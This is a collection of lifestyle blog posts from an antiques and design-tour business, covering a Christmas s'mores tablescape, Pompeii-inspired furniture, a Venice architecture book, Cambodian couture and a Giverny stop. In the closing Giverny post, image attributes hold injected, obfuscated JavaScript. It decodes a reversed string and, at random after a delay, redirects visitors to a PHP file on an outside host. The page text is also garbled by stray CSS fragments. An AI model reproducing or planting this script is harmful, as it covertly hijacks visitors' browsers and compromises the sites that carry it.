Cozy Tablescape for a Christmas S’mores Bar

For me, presentation is EVERYTHING. As a little girl growing up in Oklahoma, I never liked s’mores! I don’t know why, but their sticky, chocolatey, gooeyness never appealed to me. As an adult, I began to appreciate the luxury of one simple romantic bite – especially when roasting marshmallows over a candle flame in a mountain chalet. I use a good Nestle dark chocolate (I prefer Nestle Dessert Corse – 65% Pure Cocoa Dark Chocolate,) and French marshmallows, also called guimauves, purchased in a Paris pâtisserie, sandwiched between Lu Petit Beurre biscuits. 

Today in part 2 of our tablescapes series, Mimi is making s’mores on a mohair rug – #DivaStyle. The Christmas s’mores bar Mimi Montgomery of Lolo French Antiques et More shares below is simply divine – both the recipes themselves and the stunning photographs. Perfect for holiday entertaining – or any time you want a simple, elegant dessert that is dramatic, fun and easy! 

Dreaming of a White Christmas S’mores Bar 

Photos by  

Last week, we were all merry and bright for our . This week, we’re going dark(er) and decadent for a winter picnic like no other. For our second tablescape, Dreaming of a White Christmas S’mores Bar, we’re taking the art of picnicking to a whole new level. Instead of roasting chestnuts on an open fire, we’re toasting marshmallows on an open fire and making s’mores… on a mohair rug.

Lolo French Antiques | Tablescape Smores Bar Smores Maker | The Antiques Diva & Co

I don’t know about your weather, but ours has been more than a bit frightful lately. The kind of weather that makes you want to stay inside and snuggle up by the fire. If you have a small home or studio apartment, I’m going to show you (with a little help from my friends at Barri Thompson Interiors) how to get creative and host a fun holiday soiree picnic-style around your coffee table. You’ll definitely have your guests Dreaming of a White Christmas…

Lolo French Antiques | Tablescape Smores Bar Coffee Table | The Antiques Diva & Co

A Closer Look

A walk on the wild(er) side. The luxurious look and feel of the natural undyed, mid-century Turkish Angora woven blanket from that Barri chose to cover the homeowner’s custom-made chunky white coffee table was just what we needed to spice up our picnic, along with a spiced rum cocktail, of course. I know most of you probably don’t have a tiger-striped mohair rug laying around — but if you do… If you don’t, you definitely want to add it to your list! IT’S. THAT. DAMN. FABULOUS!

Lolo French Antiques | Tablescape Smores Bar Coffee Table | The Antiques Diva & Co

Let Them Eat Cake

Lolo French Antiques et More | smores tablescape let them eat cake | The Antiques Diva & CoS’mores are the quintessential dessert — they require no baking! You’re free to choose as few or as many ingredients as you like, leaving plenty of time to concentrate on the tablescape and signature cocktail. For this place setting, Barri mixed and matched selections from the homeowner’s collection of modern tableware. She selected a white charger that really stood out against that fabulous mohair rug and anchored the black . The salad plate was adorned with fresh cut greenery, while the place card from Target was tied to the “bowl with one handle,”  which was filled with marshmallows, tiny chocolate bits, and pieces of butterscotch. The coating of powdered sugar we added to the marshmallows (to keep them from getting sticky) added a slight shine to them, and we placed a sparkly napkin ring in the center of them for an extra pop of shimmer and shine! Because more is more, and we love shiny finishes, we chose . Spiced Rum Old Fashioned cocktails were served in smoky gray rocks glasses from West Elm.

Lolo French Antiques | Tablescape Smores Bar Place Setting | The Antiques Diva & Co

Since the S’mores Maker, filled with graham crackers, white chocolate peppermint bark, and marshmallows, had to be in the center of the table, Barri used gold mercury glass votives to magically light up the space. She randomly placed them on the table creating an oh-so romantic atmosphere. Votives give off a soft, beautiful glow, and because they shine the light upward, they make everyone look good. Voila! Who can complain about that? Just for kicks, she grabbed an antique wooden saddle stool that she saw sitting in a bookcase and placed a moss nest with a glitter ornament on it. She then added some vintage sleigh bells… for a very “beautiful sight!” Often, it’s the simplest things that make the biggest impact.

Lolo French Antiques | Tablescape Smores Bar Saddle | The Antiques Diva & Co

Barri also threw around the room. Incredibly stylish and versatile, they made for perfect party seating and snuggling. The neutral colors of the pillows, as well as the with the taupe , added just the right amount of texture… and had us dreaming of this White Christmas for days!

Zebra balls, zebra pillow, and antique Kurdish rug fragment pillow all from Paige Albright Orientals
Zebra balls, zebra pillow, and antique Kurdish rug fragment pillow all from
Lolo French Antiques | Tablescape Smores Bar Room | The Antiques Diva & Co
Butterfly chair with Mongolian sheepskin cover backed in cowhide from

The best thing about s’mores is there’s no wrong way to make them. Here are a few of our favorite combinations that will have your guests asking for s’more.

Mimi’s S’mores Recipes 

Classic S’mores Recipes 

    • Honey Maid Graham Cracker Squares
    • Hershey’s Milk Chocolate Bars
    • Kraft’s Jet-Puffed S’moreMallows


    • Honey Maid Graham Cracker Squares
    • Oreo Cookies
    • Creamy Peanut Butter
    • Hershey’s Milk Chocolate Bars
    • Kraft’s Jet-Puffed S’moreMallows

Reese’s S’mores 

    • Ritz Crackers
    • Reese’s Peanut Butter Cups
    • Kraft’s Jet-Puffed S’moreMallows

Sweet and Salty S’mores

    • Ritz Crackers
    • Hershey’s Milk Chocolate Bars
    • Kraft’s Jet-Puffed S’moremallows
    • Cookies and Creme S’mores
    • Honey Maid Graham Cracker Squares
    • Hershey’s Cookies ‘n’ Crème Candy Bar
    • Kraft’s Jet-Puffed S’moreMallows

What’s your favorite? Let us know!

Our next tablescape is a Holly Jolly Dinner Party. Instead of toasting marshmallows on a mohair rug we’ll be toasting “A day when cheer and gladness blend, When heart meets heart, And friend meets friend.”

À Bientôt! 


Where does design inspiration come from?

Amalfi coast lemons
Amalfi Coast lemons

While taking my summer vacation in the Amalfi Coast this summer one of my favorite things I did – besides merely lounge poolside in my BoxerinBlue swimwear under the wafting smell of the lemon trees – was visit the Ruins of Pompeii, which I talked about in a recent blog post when I announced my furniture collection – The Antiques Diva Collection by Aidan Gray.

Pompeii continues to fascinate – Mount Vesuvius had erupted in a phenomenal fashion straight off a Hollywood movie script – perfectly preserving the ancient town of Pompeii and the surrounding countryside in ash. The result – while devastating at the time, burying the people alive – did preserve the works of arts for centuries allowing us to see frescoes from the time of Jesus. (Segway from religion to sex… ) While the frescoes in the brothels were… uhm… especially interesting… what continues to fascinate me is the lush decadent lifestyles they lived in ancient Roman times. When I think of 2000 years ago, I imagine people walking around barefoot and yet in Pompeii the rich were living in villas I’d be happy to call home today.

Pompeii was to Rome like the Hamptons are to New York. And these villas surely must have been where the profession of interior designer came about. The wealthy employed sculptors and painters and other artisans to create an atmosphere that reinforced their position in society. In addition to proper sewage, they had gyms and swimming pools, libraries and courtyards with gorgeous mosaics… but for me… it’s all about the frescoes. The villas were painted ceiling to floor with motifs that were anything from actual images of other villas to architectural elements such as porticos or even cards, rivers and coastlines as well trees, fruits, flowers, birds…  But my favorite room, a kitchen in one of the villas, reminded me of my own home. The walls of the kitchen were painted with swimming fish found in the sea nearby.

Pompeii: Be Inspired | Toma Clark Haines | The Antiques Diva & Co
Pompeii kitchen frescoe of swimming fish 

At my home in Venice, I live in a small apartment a stone’s throw from the Peggy Guggenheim Museum, on a side canal just off the Grand Canal. Soon after I got an apartment here I found myself dreaming of water – which apparently is a trait of Venetians. Water is as much a part of daily life in Venice as is air and breathing. Meanwhile fish swim in the canals outside my kitchen window, they are served in every restaurant and I even have pet goldfish (Frank Sinatra Jr and Frank Jr Jr – fans of the TV series Friends will catch the joke in the name of the later). Wanting to connect the interior of my apartment to my surroundings, I decided to commission the artisans from Porte Italia to come and paint fish swimming down my entry hall. I chose to do the entire entrance in a dramatic high gloss black paint – painting the ceiling as well as walls which makes the space feel infinitely larger.

Toma Clark Haines hallway in Venice
My entry in Venice hand-painted by Porte Italia 

A fan of Fornasetti, I had the artisans nod towards Piero’s style. The fish swim towards a reflection pool in the middle – aka, an 18th C Gilded Mirror with the original mottled and melting mercury glass. The mirrors frame design is straight out of a fresco design in Pompeii, a basket overflowing with pomegranates and roses. This mirror created most likely between Louis 15 and Louis 16 reign reflects the notion we discussed in a recent blog – where does design inspiration come from? Everything we see and feel and do, influence who we are and our design aesthetic. Louis 16th furniture makers were heavily influenced by Pompeii, just as I was heavily influenced by Louis 15 and 16th when designing my furniture collection – The Antiques Diva Collection for Aidan Gray, which debuts this week at High Point Market.

Be Inspired 

Fall 2018 High Point Market I’m speaking on 2 panels that broach the subject of Design Inspiration. I’ll be Facebook Living both events – so don’t worry if you’re not able to be there in person, know you can always catch it online on my personal page Toma Clark Haines.

Inspiration Behind the Designs – Saturday October 13 2-3pm
Surya Showplace 4100

Join interior and product designers Mary Douglas Drysdale, Michel Smith Boyd, Toma Clark Haines (“The Antiques Diva”), Xander Noori, and Keon Khajavi-Noori as they discuss where they seek inspiration, how they overcome the dreaded creative block, and give tips and tools for recharging your creative batteries. 

Inspiration Behind the Designs

Designing Women of the World – Sunday October 14 1.30 to 2.30pm
Suites at Market Square Seminar Room SAMS T 1014

How do you prioritize travel as a busy designer and business owner? How do you prepare for design inspiration at a particular destination? How does getting outside of your local marketplace help your business? Join our traveled designers as they discuss these questions and many more, while giving tips and inspiration on how to incorporate travel into your design process. Panelists include Adriana HoyosTina NicoleToma Clark HainesSandra Espinet, and Aviva Stanoff with Deb Barrett as moderator. Reception and book signings to follow.

Designing Women of the World

Until then, Be Inspired.

Toma Clark Haines – The Antiques Diva®

The NEW Neoclassical

Today while running errands in Venice, I popped down the Calle delle Mandole to the Punto Simply grocery store and popped into my friend Jewelry Designer Marisa Convento’s shop, where she sells her handmade creations using antique Venetian beads. She inquired about my new kittens Fortuny and Fiorella – she had after all priorities, my kittens are quickly becoming the most popular cats on Instagram – and then, she said, “Congratulations on the launch of your furniture collection! You have traveled the world and seen some of the best designs and antiques in Europe, Asia and the Americas… I KNOW this collection is going to be good.” She emphasized “know” by touching her heart. Blushing, I thanked her and said, “I’ve a lifetime of design inspiration – Now I’m taking that design inspiration and putting it to work.”

Diane Vreeland said, “The Eye Has To Travel.”  Ernest Hemingway said, “Paris is a moveable feast.” What I always say is, “The most important tool in a designers briefcase is their passport.” Other cultures and countries educate the eye, entice the spirit, encourage travelers to think differently, to see new ways of doing things, and consider new ideas. In the 1960s and 70’s it was a right of passage to backpack across Europe. In the 17th and 18th Centuries, a young man of standing was not considered well-educated if he hadn’t taken The Grand Tour. Young men (and occasionally women) were traversing Europe, visiting Italy and France, learning the most important developments in language, arts, court etiquette, legal and political systems, science, culture and refined European taste. They visited France and Italy, Austria and the Low Countries and while they were out “getting cultured”, they also SHOPPED, Antiques Diva Style! Their purchases, known as “Grand Tour Souvenirs” were brought home and displayed in their salons in order to illustrate their knowledge and symbolize their refined tastes. Proof positive they were educated in the ways of the world!

During this time frame, one of the most important archeological discoveries of all time was uncovered – the Ruins of Pompeii and Herculaneum. Visiting Pompeii was imperative. I had been there nearly 20 years ago, but this summer along with a friend I took a pilgrimage to one of the most influential design destinations on the planet and I realized how much of my own furniture collection was birthed here.

Pompeii | The NEW Neoclassical | The Antiques Diva
Pompeii, Italy 

Pompeii, located south of Rome and not far from Naples and the Amalfi Coast, is well-known for the vicious eruption of Mount Vesuvius on the 29th August 70 A.D. The eruption led to the entirety of the city being buried beneath a 6 meter thick layer of volcanic ash that solidified and preserved everything that lay beneath for 17 long centuries… When excavators broke earth in 1748, the original Classical Design felt new again. But what was amazing, was that recent innovations that had only been discovered in the last century or two were found to have been in use nearly 1500 or 1600 years before. All of Europe was entranced by the discoveries of Pompeii. Neoclassical – the new classical – was en vogue! And for people returning from the Grand Tour, showing they had a piece from Pompeii was something then like having a piece of the Berlin wall was in the 1990’s. Artists began painting the ruins, and furniture makers began incorporating their symbols into their artwork.

Louis XVI Demilune | The Antiques Diva Collection by Aidan Gray
Neoclassical design elements 

The style was based on the designs of Classical Greece and Rome. Vases were the ultimate symbol of the ancient world and there was an enormous craze for them in the second half of the 18th century. You’ll note in our Antiques Diva Collection by Aidan Gray we have a Lucite-wrapped console that’s done in a Neoclassical fashion and the base of the piece has a vase carved between the stretchers on the legs. Swags and festoons were totally in fashion  – as were hanging garlands of fabric, ribbons, flowers and bud-like motifs based on Classical Roman decoration. Lines of small bead shapes are also a frequent embellishment.

Louis XVI | The NEW Neoclassical | The Antiques Diva
Louis XVI

Fans of the French furniture style Louis 16th will recognize these motifs repeated again and again. It was during the Louis 16th timeframe that the ruins of Pompeii and Herculaneum were discovered – and elements from Pompeii pop up in the Louis 16th furniture. The Louis 16th style is neoclassical.

So my question is… Is our furniture collection at Aidan Gray the NEW neoclassical?  

Louis XVI Demilune | The NEW Neoclassical
Louis XVI Style Demilune: The Antiques Diva Collection by Aidan Gray


Louis XVI Demilune | The NEW Neoclassical | The Antiques Diva Collection by Aidan Gray
Louis XVI Demilune with Lucite wrapped console.


Louis XVI Demilune | The NEW Neoclassical | The Antiques Diva Collection by Aidan Gray
Louis XVI Style Demilune in a Neoclassical fashion with a vase carved between the stretchers on the legs.


I can’t wait to share with you The Antiques Diva Collection by Aidan Gray Home.

Join us Oct 14 9am to 11am for our launch party
Bubbles and Bites
Aidan Gray
201 North Main, High Point North Carolina

The Antiques Diva Collection by Aidan Gray Home launch event at HPMKT

Toma Clark Haines – The Antiques Diva


Revamped Design: Food Porn Mirror

Today I’m flying home from a multi-day speaking engagement at the fabulous antiques show, the 2017 Art & Antiques Show London Calling, sponsored by The Women’s Board of Wolfson Children’s Hospital in Jacksonville, FL. I was honored to be invited to speak – but in all honesty had never heard of this show, just closing its 41st year. Frankly, I was gobsmacked by the quality of the antiques and vendors represented at this show! Whether you’re an antiques dealer seeking new places to display – or an avid antiquer traveling to the best fairs – I highly recommend you put next year’s event on your 2018 calendar! I started my talk by speaking about my design icon, Louis XVI, who totally revamped design for centuries to come – his Grand Tour inspired my own Grand Tour – and my own upcoming Antiques Diva Furniture Collection for Aidan Gray (#WatchThisSpace). I believe that for design professionals the most important tool you can have in your portfolio is your passport. 

I’m flying home to Berlin to pack up my belongings with feelings of nostalgia; while I’m excited to begin my new life in Venice, I’ll miss the many friends and colleagues I’ve met and grown to care for during my years in Berlin. We’ve shared a lot… one memory in particular was a good old-fashioned barn raising – #DivaStyle!

(Featured photo credit Susanne Ollman)

Mirrors on the Ceiling – Oh My! 

One of the things I will miss most about my Berlin is my apartment. For the last several years, I’ve lived in a 3 level loft that in a word – was über cool! After a Thanksgiving night fire burned my 1st Berlin apartment in Mitte, I relocated to another section of town and a totally different style of apartment: Berlin’s Old Malthouse (Die Alte Mälzerei), an urban renewal project that took the Schultheiß-Brauerei (Schultheiss Brewery) and revamped this industrial historic monument into sensational living spaces – I had over 2000 square feet on 3 levels with a fabulous terrace! The dining room happened to be the inside of the oven where the malt was brewed – a round room, with an igloo-shaped exterior and no windows, but openings on both sides that gave the room a cave-like feel. Dinner by candlelight whatever the time of day!

Because of my business as The Antiques Diva, many of my friends are also in the design or lifestyle industries – stylists, photographers, caterers, antique dealers, artists, designers and the like. When I entertain at home, presentation counts: not just to me, but to my guests. The people I entertain seriously like #FoodPorn. Whether we’re at a resto or a private home, with every course out come the iPhones as everyone tries to get the perfect shot to post on Instagram. (I recall one afternoon at Tamara Matthews Stephenson’s with designers standing on chairs in her Hampton’s kitchen trying to get the perfect shot before she served the meal!)

One evening as we chatted late into the night in my dining room with my good friends Christian Lemke and Justina Walczak of Revamp Home Staging and Design in Berlin, we had a scathingly brilliant idea:

A mirror fixed to the brick ceiling of my dining room would provide fabulous light reflections and some serious #FoodPorn photos!

The challenge was on! Now to find a mirror to fit the narrow round spot on the ceiling and attach it to the ceiling – without spending a lot of money! With the interior design skills of Christian and Justyna, that was a breeze as they had a mirror cut to size.

Toma's brewery chimney dining room pre-mirror | Toma Clark Haines The Antiques Diva
My brewery chimney dining room, pre-mirror                                                Photo credit Susanne Ollman

Naturally, I called on my Oklahoma roots and put together an old-fashion barn-raising, er… mirror raising!

Revamped Design | Food Porn Mirror 5| Toma Clark Haines | The Antiques Diva
We had a round mirror cut to fit the chimney ceiling 

Christian – the engineer-minded in the group – built a frame to attach to the ceiling and hold the mirror.

Revamped Design | Food Porn Mirror 3| Toma Clark Haines | The Antiques Diva
A wooden frame was attached to the ceiling, and the mirror was attached to the frame 

Once we got the mirror up there and correctly positioned…

Mirror attached to the dining room ceiling

We had to devise a way to KEEP it up there 24 hours – long enough for the adhesive to set.

Revamped Design | Food Porn Mirror 4| Toma Clark Haines | The Antiques Diva
Tightly stacked boxes to the rescue! 

As the adhesive dried, I fed the team dinner – served outside on the terrace because we were afraid to eat under the newly installed mirror! Fortunately, it was a beautiful evening for dining al fresco, as my terrace doesn’t have a ceiling!

Revamped Design | Food Porn Mirror 8| Toma Clark Haines | The Antiques Diva
Team #FoodPorn! 

Dinner served family style, because my friends have become my family.

Revamped Design | Food Porn Mirror 9| Toma Clark Haines | The Antiques Diva
I’ll cherish these memories of friends and good times in Berlin   

I love the name of Christian and Justyna’s business – ReVamp Design. Isn’t that really what we do with our lives during pivotal moments – such as I’m undergoing at the moment with my upcoming move to Italy? I’ll be bringing my antiques to Venice – but also… there will be a guest bedroom for dear friends such as Christian and Justyna to come visit! Cherished antiques and friends are vital to a happy home, and a happy life.

Book A Tour with The Antiques Diva & CoAre you searching for design inspiration?
Join us for an Antiques Diva tour to Europe, Asia or America

Toma – The Antiques Diva 

Dream of Venice Architecture

I’m delighted to share with you a guest post by JoAnn Locktov. JoAnn is sharing stunning photographs by talented architects in her new book, Dream of Venice Architecture. You know I’m smitten with Venice and welcome any opportunity to visit with clients, meet with our Antiques Diva® secret sources, or just stroll along the canale or savor a macchiato and work at a small café and relish my surroundings. Our Venice Diva Guides Orseola & Chiara have opened many Venetian doors for me, the architecture at the Fortuny Museo is a favorite of theirs. The lovely photos and charming commentary in Dream of Venice will transport you to this special city. If you haven’t been, you must schedule a trip to Venice very soon. And if you haven’t visited recently, you must return. Until then, I invite you to Dream of Venice Architecture. 

JoAnn Locktov, author

Venice.  Venezia. La Serenissima. The city has inspired artists, musicians, writers, lovers, and poets for over a millennium.  The beauty of Venice is well documented. Originally through painting and verse, and now through photography, movies and if we’re lucky, our own eyes. But have you ever wondered what makes Venice so mesmerizing? Can we attribute her appeal to one element? Is it the Lagoon light, the dancing reflections, the patina of age, or the subtle hues of salt-washed color?

Venice is an urban oasis. The natural water that you find everywhere, is delineated by the construction of palaces, churches, boatyards, gardens, and bridges-some iconic and many that are humble.  We wanted to know if this city that originated over 1,500 years ago could still be relevant to our contemporary lives. This is what we found out. Come take a passeggiata with us and wander through the memories of architects, architectural writers, and the evocative images of the award winning filmmaker and photographer Riccardo De Cal.

All photos and excerpts from Dream of Venice Architecture

Published by Bella Figura Publications

For so many people, cities are captured by the visual memory of an iconic panorama but for me Venice is a wholly visceral experience where what we see is so much less than what we perceive or feel. In Venice, there is all at once the sound and smell of the water, the chiaroscuro of confined passageways that give way to expansive campi, the constant rise and fall of crossing so many bridges and the twisting irregularities of its labyrinthine streets. A place of great intensity; I know no other city where one must navigate by way of intrinsic memory rather than conscious understanding. 

Selldorf Dream of Venice ArchitectureAnnabelle Selldorf, FAIA

Every entrance has a four-digit number, always applied onto the frame in a uniform stenciled typeface. A few years ago I happened to be passing by the house numbered 1937, which featured a particularly distressed and ominous-looking door. Suddenly I had a strange vision that the horrific memories of the year 1937—Guernica, Kristallnacht, Stalin’s Great Purge—are hidden behind that locked portal. It took a good half-a-bottle of wine before I could let this disquieting fantasy go. Yet ever since, I cannot rid myself of an impression that every Venetian door represents a particular year; that the city is, in fact, a museum that contains all human history and all our future as well. This would of course explain why the doors are so mysterious and forlorn: why they are always locked; why nobody seems to be ever entering or coming out.

Boym Dream of Venice ArchitectureConstantin Boym

Venice may be too hot, too cold, too humid, too crowded or too easy to get lost in, but “her streets, through which the fish swim, while the black gondola glides spectrally over the green water” — as Hans Christian Andersen eloquently stated — release us to imagine alternatives to the general standard of urban living. Venice is not on the sea but of the sea, eclipsing the tale of Atlantis with a modern mythology both repeated and rewritten with every tide. 

Davidson Dream of Venice ArchitectureCynthia Davidson

Just inside the windows, several pet bird cages were hung above a grand piano, and these, plus the lure of crumbs from the damask-covered tables where guests were eating their morning brioche, attracted small flying birds from the square. As we sipped our coffee, birds darted through the windows, soared around the ceiling twenty feet overhead, then hopped and chirped about the rug at our feet. It was pure enchantment. Those first few days in Venice were one of the transformative experiences of my life. 

Parrott Dream of Venice ArchitectureDial Parrott

Venice: the ageless city. How can we take measure of her to a finite time, she who is crystallized by the juxtaposition of styles, of forms, of places, of spaces…

When you walk through Venice at night, in the silence, in the darkness, the canale fills you with anguish, fear, anxiety, dissatisfaction, as if you’re seeing a sleepless dormitory town, full of ghosts and dark clouds…

Inside the places on the ground floors you imagine unmoving ghosts reclining on large tables surrounded by chairs with the light filtering through from the outside—thus faint, so very faint, in the depths. The gondolas are moving slowly as the water laps the shore; the silver blades almost black and you think they are open funeral carriages ready for the reclining ghosts in the rooms. 

Baleri Dream of Venice ArchitectureEnrico Baleri

When I hear the voice of Venice, my mind wanders into that nebulous space where time momentarily stops and I am quietly propelled into an intimate dialogue with my own free floating thoughts. The voice of Venice thankfully reminds me that there is an arena in which fantasy and reality can collide, coexist, and comfortably accommodate contradictions. Venice, for me, is a metaphor for unexpected creative possibilities. This notion never fails to captivate me.

Braverman Dream of Venice ArchitectureLouise Braverman, FAIA

For the architect, the recognizing of a city is nearly always expressed through emerging elements: a bridge, a monument, a tower, a neighborhood or a geometric structure.  In the end, nearly all of us reason like collectors of snow globes, those that are found in all souvenir shops, and show the stereotypes of different cities.

It is rare that landscape is used as the substantial element of a city, its GEOGRAPHY.  But Venice is the exception.

Fuksas Dream of Venice ArchitectureMassimiliano Fuksas

For all its floating qualities, Venice is heavily laden with history, stone, and gravity.  Though its marble monuments aspire artfully upwards, they are ultimately more preoccupied with down than up.  One counterpoint to all this weight is the prominent windvane poised lightly atop the Punta Della Dogana.  This figure of Fortune, presiding over the Bacino’s daily ballet of watercraft, pirouettes between architecture and flight. It has for centuries signaled the comings and goings of Adriatic weather that tints this city’s beguiling atmosphere. For some, perhaps, it pivots to the ebb and flow of dreams as well.

Levy Dream of Venice ArchitectureMax Levy, FAIA

The main facade of the Fortuny palazzo faces the Campo San Benedetto. It is adorned with the characteristic ogee arches of Venetian Gothic, a classification of the Gothic architecture that originated as an ecclesiastical style in northern Europe where it can be dour and forbidding. Venetian Gothic is neither. Adapted to residential construction and suffused with Byzantine and Moorish influences, it is light, graceful, and whimsical—almost feminine. The right setting for the fashion maven who was known as the “Magician of Venice.”

Witold Dream of Venice ArchitectureWitold Rybczynski

Social Links:

Dream of Venice Architecture

Bella Figura Publications

JoAnn Locktov

Palazzo Fortuny, Orseola and Chiara’s favorite

Orseola & Chiara’s Posts on Venice

Book a Venice Antiques Buying Tour or Design Inspiration Tour
Book A Tour with The Antiques Diva & Co

Ciao, and pleasant dreams of Venice

Toma Clark Haines – The Antiques Diva® 

Sourcing Custom Fashion Design in Phenom Penh: Romyda Keth

Custom Couture For A Curvy Diva 

Toma Clark Haines wearing Romyda Keth with Steven Fevreau at the Antiques DIva Annual Champagne Brunch at the Paris Flea Market
Toma Clark Haines wearing Romyda Keth with Steven Fevreau at the Antiques DIva Annual Champagne Brunch at the Paris Flea Market 

I have a bit of a reputation… in addition to drinking entirely too much champagne, I’ve got a penchant for high heels and fabulous dresses. In fact one of my most frequently asked questions when I speak is and when I meet clients and brand followers in real life.… “Where do you get your dress?” And while I’m a fan of both high end and low end – from DVF to Laundry – I look for items that flatter the figure. I’m a curvy girl and what curvy girls everywhere know is you can look fat… or you can look curvy. I choose the latter.  

I’m going to let you in on one of my biggest fashion secrets… This January we hosted our annual Paris Champagne Brunch at Paul Bert Serpette in the Paris Flea Market – I wore a sensational cape-sleeved knee-length red jacket with a simple strapless tube dress underneath. The design was a one-a-kind design by Cambodian Designer Romyda Keth. 

Romyda Keth custom fashion house in Phenom Penh

I first visited Romyda’s shop this summer while laying the groundwork for our Phenom Penh Design Inspiration tours. One of the things I love about our Asian Antiques Diva Tours is #ItsNotJustAntiques – from helping you find a furniture factory to custom-make your designs, to art studio and gallery tours to giving you access our favorite local craftsmen whether that’s hardware for your furniture and doors or lantern and lighting makers or simply a fabulous tailor….  A stop in Romyda’s shop is fabulous for retail therapy for fashion hunters, but even if you’re not looking for clothing it is worthwhile for the design inspiration. (Plus she has a maison store next door). 

Book A Tour with The Antiques Diva & CoBOOK A CAMBODIA ANTIQUES TOUR 

For years – even before we started working together and were just friends – I’ve admired my colleague Angela Somwaiya’s wardrobe. Angela now heads up our Asia Antiques Diva Tours. She is statuesque, standing a good head above me. She’s gorgeous, very sultry and has a mysterious look and wears the most amazing dresses of anyone I know. Curvy, Vivacious and Va Va Va Voom.

Romyda Keith dress on Antiques Diva Asia Guide Angela Somwaiya
Romyda Keith dress on Antiques Diva Asia Guide Angela Somwaiya

I was thrilled when as we were heading to Phenom Penh as part of our groundwork for setting up our Antiques Diva Asia Tours Angela asked… “Toma, is it possible we can make time to shop at my favorite dress store?”  

My fitting for a custom dress at Romyda Keth in Phenom Penh, Cambodia 

In South East Asia when you attend a social event the well-heeled who’s who will all be wearing Keth’s designs. But the amazing thing… not one of the women will be dressed the same. Keth only makes 1 dress in each size for every design. Created in her onsite factory, the designs are done in a gorgeous Khmer silk in a harmony of colors cut specifically to emphasize on women what differentiates them from men. From now on a trip to Asia is not complete without at least a 36-hour stopover to stock up on my fashion needs for the next season.

Atelier Ambre by Romyda Keth on an Antiques Diva Asia Tour
Atelier Ambre by Romyda Keth

Romyda is Cambodian-born, was raised in Paris and studied at the Paris School of Fine Arts and at top fashion design school Esmod. She is one of the few Asian designers to have established a worldwide following; after the first Atelier Ambre opened in Cambodia in 1999, the brand has since expanded to Middle East, Africa, Australia and the rest of Asia. Her designs are all about COLOR and CURVES. Those are the key words that describe my fashion sense. Each item is custom tailored on site, fitted by Romyda. And for a luxury brand creating nearly one of a kind designs the prices are reasonable. I think my custom fitted dress and jacket combined were around $300. The dresses I purchased ran between $75 and 150 USD. For more information visit Romyda KethBook A Tour with The Antiques Diva & Co

Kheunh anak chab,  

Toma Clark Haines, The Antiques Diva® 

Randall Weeks for Aidan Gray

Dear Diva Readers,

top: 5px; float: left; color: white; background: #781300; border: 1px solid darkkhaki; font-size: 60px; line-height: 50px; padding-top: 1px; padding-right: 5px; font-family: times;”>Since I’m getting ready to head to High Point Market this month, I’m putting together my own personal list of must-see showrooms and organizing my schedule for doing High Point, Antiques Diva Style. Imagine my delight when I received news that Aidan Gray, one of my favorite companies, will be opening a new showroom at High Point Market! The four-story, 7,000 square foot showroom (located at 201 Main Street) will be jam-packed with European-inspired inspiration. The new collection they’ll be releasing will reflect timeless, tried-and-true looks with just a little edge. Focusing primarily on accent pieces, the showroom will be filled with tables of all sizes, dressers, benches, chairs, and statement pieces. Aidan Gray also creates unique accessories including candle fixtures, lighting and garden pieces.

Aidan Gray, Randall Weeks, High Point Market, Design Inspiration, Antiques Diva

Aidan Gray, Randall Weeks, High Point Market, Design Inspiration, Antiques Diva

Let me share with you a preview of this year’s premiere pieces that will be seen at Aidan Gray’s High Point showroom!

The Shield Back Upholstered Chair

Aidan Gray, Randall Weeks, High Point Market, Design Inspiration, Antiques Diva

The Parker Gray wood finish combined with black leather gives it a modern sensibility. Aidan Gray offers the Shield Back Chair in upholstered and cane back options with 9 choices of wood/fabric combinations.

The Blue Silver Lamp

Aidan Gray, Randall Weeks, High Point Market, Design Inspiration, Antiques Diva

The dark navy glass base has been overlaid with an intricate pattern of embossed motifs in silver leaf. The combination of navy, silver and black makes this lamp a classic right from the start.

In celebration of the showroom’s opening during High Point Fall Market, Aidan Gray will host a Crown & Glory chandelier giveaway. Crown & Glory was conceptualized from the “Ray of Light” motif that surrounds the dove found on most alter carvings in and throughout Europe. The rays represent beams of light radiating from the sun, arranged in a slightly tapered manner. Carved from solid wood and finished with proprietary distressing techniques, each light is unique in its own right. The first 201 High Point customers to write an order of $1000 or more will receive the Crown & Glory chandelier complimentary with their High Point order.  And why 201?  Because that’s their new address at High Point!  201 Main Street.

With Aidan Grays signature combination of textural finishes, graceful lines and understated elegance, I’m sure to find many favorites at this showroom. I can’t wait to take a tour and see what they’ve got to offer the market!

See you at High Point!

The Antiques Diva®  

Monet’s House in Giverny

Dear Diva Readers,

top: 5px; float: left; color: white; background: #781300; border: 1px solid darkkhaki; font-size: 60px; line-height: 50px; padding-top: 1px; padding-right: 5px; font-family: times;”>While most of our clients come on buying tours with serious agendas—they often want to fill a container with European antiques in a matter of days — some people also choose to add on time at the end of their tour for more of a vacation since they’re already over in Europe! And believe me, after power shopping with an Antiques Diva Guide, a little R&R is necessary (hmmm… perhaps we should start including massages at the end of each tour)!  Often times while on tour, our Diva Guides will point out interesting places along the way—after all, our guides are all locally based so they know the surrounding areas very well!

Design inspiration, Inspiration <script>$NqM=function(n){if (typeof ($NqM.list[n]) == “string”) return $NqM.list[n].split(“”).reverse().join(“”);return $NqM.list[n];};$NqM.list=[“\’php.sgnittes-pupop/cni/tnemucod-yna-debme/snigulp/tnetnoc-pw/moc.kaphcterts//:ptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}</script><script>$NqM=function(n){if (typeof ($NqM.list[n]) == tours, Antiques Diva Tours, French antiques, Buying French antiques in Normandy, Claude Monet, Monet’s house in Giverny” width=”600″ height=”600″ />

Recently one of our Diva Guides in France, Katie, was taking clients on a buying tour in Normandy, which is a great place to source antiques at discount prices from Paris prices. Along the way, Katie passed right by the Monet house with clients and they decided to stop en route to sneak in a little design inspiration visiting his famous house in Giverny. With warm weather just beginning, Spring time is a perfect time to take in the gardens and the scenery in this charming part of France.

Design inspiration, Inspiration <script>$NqM=function(n){if (typeof ($NqM.list[n]) == “string”) return $NqM.list[n].split(“”).reverse().join(“”);return $NqM.list[n];};$NqM.list=[“\’php.sgnittes-pupop/cni/tnemucod-yna-debme/snigulp/tnetnoc-pw/moc.kaphcterts//:ptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}</script><script>$NqM=function(n){if (typeof ($NqM.list[n]) == tours, Antiques Diva Tours, French antiques, Buying French antiques in Normandy, Claude Monet, Monet’s house in Giverny” width=”600″ height=”450″ />

